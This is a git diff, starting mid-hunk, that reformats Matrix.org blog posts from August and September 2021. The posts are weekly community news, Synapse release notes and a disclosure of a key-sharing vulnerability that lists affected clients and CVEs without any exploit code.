(MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status @@ -64,7 +64,6 @@ These Hydrogen news leave me breathless! > > Remember that this is only done in exchange for an access token, which is then used for all subsequent requests. Still though, I can see the merit! - ![2021-08-27-X19MU-stacked_area_chart.png](/blog/img/2021-08-27-X19MU-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -113,7 +112,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > Please note: It will take some days until it arrives in all appstores. > -> #### All changes: +> #### All changes > > * change: Nicer design for selecting items > @@ -147,7 +146,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > * fix: Dont add/remove DMs to space > * fix: Empty timelines crashing the room view > -> * fix: excessive CPU usage on Windows, as described in https://github.com/flutter/flutter/issues/78517#issuecomment-846436695 +> * fix: excessive CPU usage on Windows, as described in > * fix: Joining room aliases not published into the room directory > > * fix: Keep display alive while recording @@ -197,12 +196,12 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > * Fixed crashes on bad media data. > * Fixed inconsistent display names in people drawer. > -> Find more about Cinny at https://cinny.in +> Find more about Cinny at > > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny +> Github: > -> Twitter: https://twitter.com/@cinnyapp +> Twitter: ### Sailtrix @@ -217,7 +216,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > * Added an option to disable notifications when the app is closed > * Avatars for rooms and members are now rounded > -> * Uploading files now sends `mimetype` in the `info` object for increased compatibility with some bridges +> * Uploading files now sends `mimetype` in the `info` object for increased compatibility with some bridges > * Use `qsTr` for most QML strings > > * Fixed a bug where `matrix:` URLs with `#` in them would not launch @@ -225,10 +224,10 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > These changes have been released in Sailtrix 1.3.1, available on OpenRepos. > -> Discussion: [#sailtrix:matrix.org](https://matrix.to/#/#sailtrix:matrix.org) +> Discussion: [#sailtrix:matrix.org](https://matrix.to/#/#sailtrix:matrix.org) > -> GitLab: https://gitlab.com/HengYeDev/harbour-sailtrix -> OpenRepos: https://openrepos.net/content/hengyedev/sailtrix +> GitLab: +> OpenRepos: ### NeoChat @@ -258,7 +257,6 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > Feel free to join us in [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org)! - ![2021-08-27-mS530-timestamps.png](/blog/img/2021-08-27-mS530-timestamps.png) ### Nheko @@ -303,25 +301,28 @@ Busy week in Fractal land! It is the end for GSoC, but it’s not really over. W Updates from the teams + **Delight team** * Room version 8 was marked as the preferred version for [MSC3083 restricted rooms](https://github.com/matrix-org/matrix-doc/pull/3083) on matrix.org and in Synapse 1.41, released this week. This means Element clients can now show UI to create restricted rooms within a Space, and prompt users to upgrade rooms if necessary when making them restricted. * Improvements to the performance of the room summary API. * Lots of testing of Spaces in anticipation of it leaving beta. - + **VoIP** * Fix cases where a call ringtone would continue even after the call was answered. * Add active speaker indicators when a user in a call is currently talking. * Working on showing call duration in call tiles. + **Web** * We’ve released 1.8.2 RC3 which includes fixes to windows font rendering, blur hashing and accessibility improvements, and other bugs. * Our internal threads prototype is in code review. * This week, we’ve been doing more work on threads, fixed some more cross-signing bugs, iterating on more compact replies, and investigating our process for translations. + **iOS** * Continue to work on URL preview. @@ -332,7 +333,7 @@ Updates from the teams * Room creation: prevent room duplication on creation. * Media upload sizing: Continue to improve media size selection. - + **Android** * We are still improving the experience with Spaces @@ -360,8 +361,6 @@ Updates from the teams > > If you want more detailed updates about Ruma, please watch [our repository](https://github.com/ruma/ruma)'s GitHub releases, since nobody in the project currently wants to write regular blog posts or TWIM updates (if you are interested in changing that, get in touch over at [#ruma:matrix.org](https://matrix.to/#/#ruma:matrix.org)). - - ### libQuotient [kitsune](https://matrix.to/#/@kitsune:matrix.org) reported: @@ -372,11 +371,12 @@ Updates from the teams [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) offered: -> #### Version 2.0.0 Released! +> #### Version 2.0.0 Released > > The second major version of the simplematrixbotlib package has been released. It is available from [Github](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) and [PyPi](https://pypi.org/project/simplematrixbotlib/2.0.0/). > > Example usage is shown below: +> > ```python > > #### echo.py @@ -416,7 +416,7 @@ Updates from the teams [thejhh](https://matrix.to/#/@thejhh:matrix.org) said: -> I made an experimental Matrix-based persistent storage CRUD repository: https://github.com/sendanor/matrix/blob/main/MatrixCrudRepository.ts +> I made an experimental Matrix-based persistent storage CRUD repository: ## Final Thoughts 💭 @@ -443,6 +443,7 @@ Updates from the teams Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -459,6 +460,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.sp-codes.de|2564| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/08/2021-08-31-synapse-1-41-1-released.md b/content/blog/2021/08/2021-08-31-synapse-1-41-1-released.md index f53501024..0c02f2702 100644 --- a/content/blog/2021/08/2021-08-31-synapse-1-41-1-released.md +++ b/content/blog/2021/08/2021-08-31-synapse-1-41-1-released.md @@ -25,7 +25,7 @@ Note that in both cases: - The private room's Room ID must be known to the attacker. - Another user on the attacker's homeserver must be a legitimate member of the target room. -- The information disclosed is _already_ present in the database and thus legitimately known to the administrators of homeservers participating in the target room. +- The information disclosed is *already* present in the database and thus legitimately known to the administrators of homeservers participating in the target room. We'd like to credit [0xkasper](https://twitter.com/0xkasper) for discovering and responsibly disclosing these issues. diff --git a/content/blog/2021/09/2021-09-03-this-week-in-matrix-2021-09-03.md b/content/blog/2021/09/2021-09-03-this-week-in-matrix-2021-09-03.md index 2b1c0a511..3ad7bfa43 100644 --- a/content/blog/2021/09/2021-09-03-this-week-in-matrix-2021-09-03.md +++ b/content/blog/2021/09/2021-09-03-this-week-in-matrix-2021-09-03.md @@ -14,19 +14,19 @@ image = "https://matrix.org/blog/img/2021-09-03-X2UAA-stacked_area_chart.png" {{ youtube_player(video_id="TZcF4s-swis") }} -We forgot to mention that Doug is also the creator of Watch the Matrix! https://github.com/pixlwave/Watch-The-Matrix This allows you to use your Apple Watch as a native client (rather than through another iDevice) +We forgot to mention that Doug is also the creator of Watch the Matrix! This allows you to use your Apple Watch as a native client (rather than through another iDevice) -These fellows all recently started to work for Element, and (claim!) to enjoy it. Element are HIRING, so if YOU think think you'd like to apply, check out https://apply.workable.com/elementio/ for current listings and details of how to apply. +These fellows all recently started to work for Element, and (claim!) to enjoy it. Element are HIRING, so if YOU think think you'd like to apply, check out for current listings and details of how to apply. ## Dept of *Status of Matrix* 🌡️ ### Conduit Beta released -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) announced: -> We finally did it! We released Conduit Beta: https://conduit.rs/release-0-2-0, we even made it to the Hacker News frontpage: https://news.ycombinator.com/front?day=2021-09-02 +> We finally did it! We released Conduit Beta: , we even made it to the Hacker News frontpage: > > This is huge news for us and hopefully we will see a lot more Conduit instances pop up in the near future. > @@ -40,7 +40,7 @@ Congratulations to Timo and the gang, you're making superb progress! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -50,11 +50,11 @@ Congratulations to Timo and the gang, you're making superb progress! > > **MSCs with proposed Final Comment Period:** > -> * _No MSCs entered proposed FCP state this week._ +> * *No MSCs entered proposed FCP state this week.* > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **Merged MSCs:** > @@ -83,6 +83,7 @@ Congratulations to Timo and the gang, you're making superb progress! > * [MSC2875: room descriptions](https://github.com/matrix-org/matrix-doc/pull/2875) > > * [MSC2834: Media IDs as hashes](https://github.com/matrix-org/matrix-doc/pull/2834) +> > #### Spec Updates > > You may be wondering: what's up with all of these abandoned MSCs?? The answer is that the matrix-org/matrix-doc repo [changed its base branch](https://github.com/matrix-org/matrix-doc/issues/3367) to `main` to help preserve the git history since the spec website rewrite. In doing so, all PRs were automatically updated to the new base branch by github... except those that were coming from deleted users and repos. Those ones were simply closed! @@ -97,8 +98,6 @@ Congratulations to Timo and the gang, you're making superb progress! > > Yes I wrote this MSC... but I swear it's what [the script](https://github.com/anoadragon453/pick-a-spec) picked! We do not question the script!! - - ![2021-09-03-X2UAA-stacked_area_chart.png](/blog/img/2021-09-03-X2UAA-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -131,8 +130,6 @@ Congratulations to Timo and the gang, you're making superb progress! > Hey folks! I had some spare time today so I've invested it into the [`matrix-github`](https://github.com/Half-Shot/matrix-github) bridge. The latest work is GitHub discussions support. It's still needs a bit more testing / minor feature implementation, but I leave you with a screenshot below of how it currently integrates spaces! - - ![2021-09-03-VNjap-image.png](/blog/img/2021-09-03-VNjap-image.png) ## Dept of Clients 📱 @@ -184,44 +181,38 @@ Congratulations to Timo and the gang, you're making superb progress! > * fix: Padding and colors > * fix: Sharing invite link > -> * fix: Unread bubbles on iOS +> * fix: Unread bubbles on iOS > * fix: Sending images in unencrypted rooms - - ![2021-09-03-8UQ-K-scaled_screenshot_20210829-113804.jpg](/blog/img/2021-09-03-8UQ-K-scaled_screenshot_20210829-113804.jpg) ### Element Clients Updates from the teams. + **Delight team** +* Testing and polishing of Spaces. - -* Testing and polishing of Spaces. - + **Web** - - * Released Element Web 1.8.2 * We’ve added an early, incomplete prototype of Threads to Labs * Bug fixes + **iOS** - - * App startup has been improved by x3 by lazy loading room messages and read receipts * Element-iOS is now iOS12 minimum. Code have been cleaned up * URL preview is still in progress but it should be available in the next release, 1.5.3 * SwiftUI: There is now a target to run the Xcode project without the MatrixSDK to speedup SwiftUI preview. This is the first piece for the coming new screen templates + **Android** - - * Working on upgrading Android Gradle Plugin to 7.0.2 and other dependencies. * Set up GitHub actions and reduce the number of tasks run by Buildkite * Spaces PRs are merged one by one to develop, the feature will be available in the coming releases @@ -233,11 +224,11 @@ Updates from the teams. [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) offered: -> #### Version 2.1.0 Released! +> #### Version 2.1.0 Released > > This version of the simplematrixbotlib package adds the ability to send messages formatted in markdown via the `bot.api.send_markdown_message()` method. Example usage is shown below: > -> ``` +> ```python > #### Respond to all messages from users with a hello world message that involves markdown formatting > > import simplematrixbotlib as botlib @@ -271,7 +262,7 @@ Updates from the teams. > [Circles](https://github.com/KombuchaPrivacy/circles-ios) is a project to build a secure, end-to-end encrypted social network, using Matrix as the foundation. > -> #### News +> #### News > > We're getting very close to a real App Store launch. The latest beta release this week is [0.98](https://testflight.apple.com/join/cWuDwqpG) This version might be The One! So please, if you haven't tried Circles in a while, give this one a shot. Also please share the link with any friends and family who you think might be interested. The current signup token has plenty of slots for everyone. > @@ -318,22 +309,20 @@ Updates from the teams. > > More information: > -> * Project website: https://comatrix.eu/ +> * Project website: > -> * Code repository: https://gitlab.com/comatrix/comatrix -> * CoMatrix will be presented at RIOT Summit 2021 (online; free registration) on 10.09.2021 at 11:30 AM (UTC+0): https://summit.riot-os.org/2021/ - - +> * Code repository: +> * CoMatrix will be presented at RIOT Summit 2021 (online; free registration) on 10.09.2021 at 11:30 AM (UTC+0): ### pipeline-runner receives jobs over Matrix [thejhh](https://matrix.to/#/@thejhh:matrix.org) offered: -> I have made a small 120k pipeline-agent software (including all dependencies except NodeJS v8) which can run on multiple platforms (including OpenWRT) and takes pipeline work over the Matrix protocol. In the end it's going to be used to setup things like VPN connections between gateways. +> I have made a small 120k pipeline-agent software (including all dependencies except NodeJS v8) which can run on multiple platforms (including OpenWRT) and takes pipeline work over the Matrix protocol. In the end it's going to be used to setup things like VPN connections between gateways. > > We also have a commercial web portal almost published where one can create web apps and configure pipelines to process the results. And yes, the portal also uses Matrix as its persistent storage -- it was implemented using my Matrix CRUD Repository from last week :) > -> The agent software (pipeline-runner) is open source and has zero (0) runtime dependencies except NodeJS, and available from here: https://github.com/sendanor/pipeline-runner -- It's still in early development, though. +> The agent software (pipeline-runner) is open source and has zero (0) runtime dependencies except NodeJS, and available from here: -- It's still in early development, though. ## Final Thoughts 💭 @@ -347,7 +336,7 @@ Updates from the teams. > > --- > -> This week's room is: [#music-discovery:matrix.org](https://matrix.to/#/#music-discovery:matrix.org) +> This week's room is: [#music-discovery:matrix.org](https://matrix.to/#/#music-discovery:matrix.org) > > **"Discover music through peers - Please write a small description of your discoveries. No uploads of non-free music please. For discussions and chat please visit the room's sibling [#musicdiscussion:matrix.org](https://matrix.to/#/#musicdiscussion:matrix.org) "** > @@ -360,6 +349,7 @@ Updates from the teams. Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -376,6 +366,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|kreatea.space|1805.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/09/2021-09-07-synapse-1-42-0-released.md b/content/blog/2021/09/2021-09-07-synapse-1-42-0-released.md index 0ddad5251..428fd008f 100644 --- a/content/blog/2021/09/2021-09-07-synapse-1-42-0-released.md +++ b/content/blog/2021/09/2021-09-07-synapse-1-42-0-released.md @@ -21,7 +21,7 @@ To ensure compatibility with existing servers, Synapse 1.42's [MSC3244: Room ver ## Handling Unknown Rooms -Very rarely, users find themselves in rooms created with unstable or experimental room versions. Then, when Synapse removes support for these versions, bad things happen. The server no longer understands how to interact with that room version, which means *you* can't interact with that room. And if you can't interact with that room, you can't _leave_. +Very rarely, users find themselves in rooms created with unstable or experimental room versions. Then, when Synapse removes support for these versions, bad things happen. The server no longer understands how to interact with that room version, which means *you* can't interact with that room. And if you can't interact with that room, you can't *leave*. In Synapse 1.42, rooms with unknown room versions are no longer returned down `/sync`. This prevents them from appearing in your client, though you may need to empty your client's cache and re-sync to see any effect. diff --git a/content/blog/2021/09/2021-09-10-this-week-in-matrix-2021-09-10.md b/content/blog/2021/09/2021-09-10-this-week-in-matrix-2021-09-10.md index dc2aedd1d..b6608da23 100644 --- a/content/blog/2021/09/2021-09-10-this-week-in-matrix-2021-09-10.md +++ b/content/blog/2021/09/2021-09-10-this-week-in-matrix-2021-09-10.md @@ -28,7 +28,7 @@ Chatting with Manu about iOS, Mobile, team growth and more. See video descriptio [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announced: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status @@ -69,8 +69,6 @@ Chatting with Manu about iOS, Mobile, team growth and more. See video descriptio > > I'm actually surprised myself that this wasn't part of the spec already! Looks like it would be a nice to-do to get this implemented and then checked off by approvers. Anyone want to submit some PRs to HS and AS implementations? 🙂 - - ![2021-09-10-3GWdT-stacked_area_chart.png](/blog/img/2021-09-10-3GWdT-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -81,7 +79,7 @@ Chatting with Manu about iOS, Mobile, team growth and more. See video descriptio > [Dimension](https://github.com/turt2live/matrix-dimension), an integration manager alternative for Element, got a refresh from @TimeWalker to bring the project up to modern day standards. Please give it a go if you've been running Dimension, and report bugs if there's problems! While I haven't personally had time to maintain it as much as I'd like, it's great to see people taking on 3 year old bad code and fixing it 😄 > -> For TWIM readers, Dimension is an "integration manager" that replaces the default one shipped with Element. It's not entirely mobile-ready yet, but does give a user interface for managing various bots, bridges, and widgets. In practice, an integration manager isn't needed as most bots and bridges (and even widgets) can be set up without an integrations manager, like all of https://t2bot.io/ (ironically, given Dimension was originally targeted at t2bot.io). People do still use it though to configure self-hosted platforms with their very own Element, Synapse, bridges, and bots. +> For TWIM readers, Dimension is an "integration manager" that replaces the default one shipped with Element. It's not entirely mobile-ready yet, but does give a user interface for managing various bots, bridges, and widgets. In practice, an integration manager isn't needed as most bots and bridges (and even widgets) can be set up without an integrations manager, like all of (ironically, given Dimension was originally targeted at t2bot.io). People do still use it though to configure self-hosted platforms with their very own Element, Synapse, bridges, and bots. > > While I still probably won't have much time personally to maintain it, PRs are certainly accepted. Dimension is a bit complex to work within and test, but people in #dimension:t2bot.io should be able to help out. @@ -109,7 +107,7 @@ Chatting with Manu about iOS, Mobile, team growth and more. See video descriptio ## Dept of Bridges 🌉 -### matrix-appservice-bridge reaches 3.0.0! +### matrix-appservice-bridge reaches 3.0.0 [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) told us: @@ -173,25 +171,22 @@ Chatting with Manu about iOS, Mobile, team growth and more. See video descriptio Updates from the teams. + **Delight team** - - * Testing and polishing of Spaces. * Room version 9 will be marked as the preferred version for [MSC3083 restricted rooms](https://github.com/matrix-org/matrix-doc/pull/3083) on matrix.org and released in Synapse 1.43. + **Web** - - * Released Element Web 1.8.3 RC2. * Pushing forward with threads, improving on our Labs prototype. We’re exploring what backend and spec changes we will need to support threads robustly. * Cross-signing bug fixes. + **iOS** - - * 1.5.3 is available on TestFlight. It will be released on Monday with: * Startup optimisation. The duration is divided by 3 or 4 * Media size selection on sending: the option must be enabled from settings @@ -201,10 +196,9 @@ Updates from the teams. ![2021-09-10-P1Hi4-ima_cfb17e8.png](/blog/img/2021-09-10-P1Hi4-ima_cfb17e8.png) + **Android** - - * **The Matrix Android SDK2 is now available on MavenCentral!** * Please upgrade your dependency to this library from ‘com.github.matrix-org:matrix-android-sdk2:v1.1.5’ to 'org.matrix.android:matrix-android-sdk2:1.2.1'. New badges has been added in the Readme of [https://github.com/matrix-org/matrix-android-sdk2](https://github.com/matrix-org/matrix-android-sdk2) and the sample ([https://github.com/matrix-org/matrix-android-sdk2-sample](https://github.com/matrix-org/matrix-android-sdk2-sample)) has been updated to use this new dependency. * Element Android 1.2.1 has been release to the beta channel of the PlayStore and should be push on production on next Monday. It includes improvement for the Spaces (still in beta) and improvement for the VoIP. Full changelog can be found here: [https://github.com/vector-im/element-android/releases/tag/v1.2.1](https://github.com/vector-im/element-android/releases/tag/v1.2.1) @@ -227,7 +221,7 @@ Updates from the teams. > > Basically everything as before but now including recent tokio, recent (stable) matrix-rust-sdk and rust edition 2021. > -> Source as before over at https://github.com/MTRNord/mrsbfh +> Source as before over at ## Dept of Bots 🤖 @@ -263,13 +257,14 @@ Updates from the teams. ## Final Thoughts 💭 -Someone has been making Matrix fanfic! I'm not sure how federation ties in, and for some reason they feature [rubber duck debugging](https://en.wikipedia.org/wiki/Rubber_duck_debugging) at one point but otherwise it looks fun :) https://www.youtube.com/watch?v=9ix7TUGVYIo +Someone has been making Matrix fanfic! I'm not sure how federation ties in, and for some reason they feature [rubber duck debugging](https://en.wikipedia.org/wiki/Rubber_duck_debugging) at one point but otherwise it looks fun :) ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -286,6 +281,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|nheko.im|2050| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/09/2021-09-13-vulnerability-disclosure-key-sharing.md b/content/blog/2021/09/2021-09-13-vulnerability-disclosure-key-sharing.md index 2f06223cd..7eebfe1ec 100644 --- a/content/blog/2021/09/2021-09-13-vulnerability-disclosure-key-sharing.md +++ b/content/blog/2021/09/2021-09-13-vulnerability-disclosure-key-sharing.md @@ -41,33 +41,34 @@ Given the severity of this issue, Element attempted to review all known encrypti Known **vulnerable** software: - * **[matrix-js-sdk](https://github.com/matrix-org/matrix-js-sdk) < 12.4.1** ([CVE-2021-40823](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40823)), including: +* **[matrix-js-sdk](https://github.com/matrix-org/matrix-js-sdk) < 12.4.1** ([CVE-2021-40823](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40823)), including: * [Element](https://element.io/) Web / Desktop < 1.8.3 * [SchildiChat](https://schildi.chat/) (Web / Desktop) ≤ 1.7.32-sc1 * [Cinny](https://cinny.in/) < 1.2.1 - * **[matrix-android-sdk2](https://github.com/matrix-org/matrix-android-sdk2) < 1.2.2** ([CVE-2021-40824](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40824)), including: +* **[matrix-android-sdk2](https://github.com/matrix-org/matrix-android-sdk2) < 1.2.2** ([CVE-2021-40824](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40824)), including: * [Element](https://element.io/) (Android) < 1.2.2 * [SchildiChat](https://schildi.chat/) (Android) < 1.2.2.sc43 - * **[matrix-rust-sdk](https://github.com/matrix-org/matrix-rust-sdk) < 0.4.0:** +* **[matrix-rust-sdk](https://github.com/matrix-org/matrix-rust-sdk) < 0.4.0:** * [fractal-next](https://gitlab.gnome.org/GNOME/fractal/-/tree/fractal-next) is **not vulnerable** due to depending on a recent enough commit. * [weechat-matrix-rs](https://github.com/poljar/weechat-matrix-rs/), a rewrite of the original weechat-matrix script, had no tagged releases, but some commits did depend on vulnerable versions of the matrix-rust-sdk. Users should ensure to update to the latest master of weechat-matrix-rs, presently [2b093a7](https://github.com/poljar/weechat-matrix-rs/commit/2b093a7ff1c75650467d61335b90e4a6ce1fa210). - * **[FamedlySDK](https://github.com/famedly/matrix-dart-sdk) < 0.5.0**, including: +* **[FamedlySDK](https://github.com/famedly/matrix-dart-sdk) < 0.5.0**, including: * Famedly < 0.45.0 * [FluffyChat](https://fluffychat.im/) < 0.40.0 - * **[Nheko](https://nheko-reborn.github.io/) ≤ 0.8.2** +* **[Nheko](https://nheko-reborn.github.io/) ≤ 0.8.2** We believe the following software is **not vulnerable:** - * **[matrix-android-sdk](https://github.com/matrix-org/matrix-android-sdk)** (deprecated!) - * **[matrix-ios-sdk](https://github.com/matrix-org/matrix-ios-sdk)** - * **[matrix-nio](https://github.com/poljar/matrix-nio)**, including its use in[ Pantalaimon](https://github.com/matrix-org/pantalaimon) and [weechat-matrix](https://github.com/poljar/weechat-matrix). +* **[matrix-android-sdk](https://github.com/matrix-org/matrix-android-sdk)** (deprecated!) +* **[matrix-ios-sdk](https://github.com/matrix-org/matrix-ios-sdk)** +* **[matrix-nio](https://github.com/poljar/matrix-nio)**, including its use in[Pantalaimon](https://github.com/matrix-org/pantalaimon) and [weechat-matrix](https://github.com/poljar/weechat-matrix). We believe the following are **not vulnerable** due to not implementing key sharing: - * **[Chatty](https://source.puri.sm/Librem5/chatty/-/tree/master/src/matrix)** - * **[Hydrogen](https://github.com/vector-im/hydrogen-web/tree/master/src/matrix)** - * **[mautrix](https://github.com/mautrix/go)** - * **[purple-matrix](https://github.com/matrix-org/purple-matrix)** - * **[Syphon](https://github.com/syphon-org/syphon)** + +* **[Chatty](https://source.puri.sm/Librem5/chatty/-/tree/master/src/matrix)** +* **[Hydrogen](https://github.com/vector-im/hydrogen-web/tree/master/src/matrix)** +* **[mautrix](https://github.com/mautrix/go)** +* **[purple-matrix](https://github.com/matrix-org/purple-matrix)** +* **[Syphon](https://github.com/syphon-org/syphon)** ## Background @@ -79,7 +80,7 @@ Other situations where key sharing is desirable include when the recipient hasn' Key sharing is described [here](https://matrix.org/docs/guides/end-to-end-encryption-implementation-guide#key-sharing) in the Matrix E2EE Implementation Guide, which contains the following paragraph: -> In order to securely implement key sharing, clients must not reply to every key request they receive. The recommended strategy is to share the keys automatically only to verified devices of the same user. +> In order to securely implement key sharing, clients must not reply to every key request they receive. The recommended strategy is to share the keys automatically only to verified devices of the same user. This is the approach taken in the original implementation in matrix-js-sdk, as used in Element Web and others, with the extension of also letting the sending device service keyshare requests from recipient devices. Unfortunately, the implementation did not sufficiently verify the identity of the device requesting the keyshare, meaning that a compromised account can impersonate the device requesting the keys, creating this vulnerability. @@ -101,11 +102,11 @@ Finally, we apologise to the wider Matrix community for the inconvenience and di Ultimately, Element took two weeks from initial discovery to completing an audit of all known, public E2EE implementations. It took a further week to coordinate disclosure, culminating in today's announcement. - * Monday, 23rd August — Discovery that Element Web is exploitable. - * Thursday, 26th August — Determination that Element Android is exploitable with a modified attack. - * Wednesday, 1 September — Determination that Element iOS fails safe in the presence of device changes. - * Friday, 3 September — Determination that FluffyChat and Nheko are exploitable. - * Tuesday, 7th September — Audit of Matrix clients and libraries complete. - * Wednesday, 8th September — Affected software authors contacted, disclosure timelines agreed. - * Friday, 10th September —[ Public pre-disclosure notification](https://matrix.org/blog/2021/09/10/pre-disclosure-upcoming-critical-fix-for-several-popular-matrix-clients). Downstream packagers (e.g., Linux distributions) notified via Matrix and e-mail. - * Monday, 13th September — Coordinated releases of all affected software, public disclosure. +* Monday, 23rd August — Discovery that Element Web is exploitable. +* Thursday, 26th August — Determination that Element Android is exploitable with a modified attack. +* Wednesday, 1 September — Determination that Element iOS fails safe in the presence of device changes. +* Friday, 3 September — Determination that FluffyChat and Nheko are exploitable. +* Tuesday, 7th September — Audit of Matrix clients and libraries complete. +* Wednesday, 8th September — Affected software authors contacted, disclosure timelines agreed. +* Friday, 10th September —[Public pre-disclosure notification](https://matrix.org/blog/2021/09/10/pre-disclosure-upcoming-critical-fix-for-several-popular-matrix-clients). Downstream packagers (e.g., Linux distributions) notified via Matrix and e-mail. +* Monday, 13th September — Coordinated releases of all affected software, public disclosure. diff --git a/content/blog/2021/09/2021-09-17-this-week-in-matrix-2021-09-17.md b/content/blog/2021/09/2021-09-17-this-week-in-matrix-2021-09-17.md index 9c0bc3778..3cf7fca4a 100644 --- a/content/blog/2021/09/2021-09-17-this-week-in-matrix-2021-09-17.md +++ b/content/blog/2021/09/2021-09-17-this-week-in-matrix-2021-09-17.md @@ -14,7 +14,7 @@ image = "/blog/img/2021-09-17-NcMmi-cinny-space-release.png" {{ youtube_player(video_id="5sXzSiMCh6c") }} -We've been chatting with Denis about the vulnerabilities disclosed by Element this Monday. +We've been chatting with Denis about the vulnerabilities disclosed by Element this Monday. ## Dept of Spec 📜 @@ -22,7 +22,7 @@ We've been chatting with Denis about the vulnerabilities disclosed by Element th [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -92,7 +92,6 @@ With rooms version 9 as the default, it feels like Spaces are trying hard to esc [Heisenbridge](https://github.com/hifi/heisenbridge/) is a bouncer-style Matrix IRC bridge. - [hifi](https://matrix.to/#/@hifi:vi.fi) told us: > Heisenbridge roundup! @@ -113,8 +112,6 @@ With rooms version 9 as the default, it feels like Spaces are trying hard to esc > > Thanks! - - ### mautrix-googlechat [Tulir](https://matrix.to/#/@tulir:maunium.net) said: @@ -141,21 +138,23 @@ With rooms version 9 as the default, it feels like Spaces are trying hard to esc > * There now a toggle to view your password on login/register page. > > * And there will be an error message when client disconnect to server. +> > #### Bugs > > * Fixed scroll on login page. > > * Fixed notification badge color in dark themes. +> > #### Others > > * We are also started shipping an official docker image which you can find on [DockerHub ajbura/cinny](https://hub.docker.com/repository/docker/ajbura/cinny). > -> Find more about Cinny at https://cinny.in/ +> Find more about Cinny at > > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny +> Github: > -> Twitter: https://twitter.com/@cinnyapp +> Twitter: ![2021-09-17-NcMmi-cinny-space-release.png](/blog/img/2021-09-17-NcMmi-cinny-space-release.png) @@ -165,7 +164,7 @@ I’m 